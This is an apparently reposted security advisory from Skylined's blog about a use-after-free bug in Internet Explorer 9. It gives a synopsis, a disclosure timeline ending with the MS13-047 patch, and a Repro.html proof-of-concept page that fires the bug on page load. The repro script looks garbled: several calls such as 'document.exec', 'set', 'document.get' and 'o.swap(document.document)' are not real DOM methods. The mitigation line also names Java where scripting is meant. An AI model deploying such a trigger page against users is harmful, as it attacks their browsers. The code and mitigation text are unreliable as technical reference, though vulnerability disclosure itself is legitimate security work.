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Microsoft Internet Explorer 9 IEFRAME - CSelectionInteractButtonBehavior::_
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来源：http://blog.skylined.nl 作者：Skylined 发布时间：2016-12-13
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<!--
Source: http://blog.skylined.nl/20161212001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug below.
Repro.html:
-->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=Emulate7" >
<script>
function go() {
document.exec('Select');
document.exec('superscript');
set(function() {
o=document.get('sup')[0];
o.swap(document.document);
}, 0);
}
</script>
</head>
<body onload="go()">
<address></address>
<fieldset></fieldset>
</body>
</html>
<!--
Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
-->
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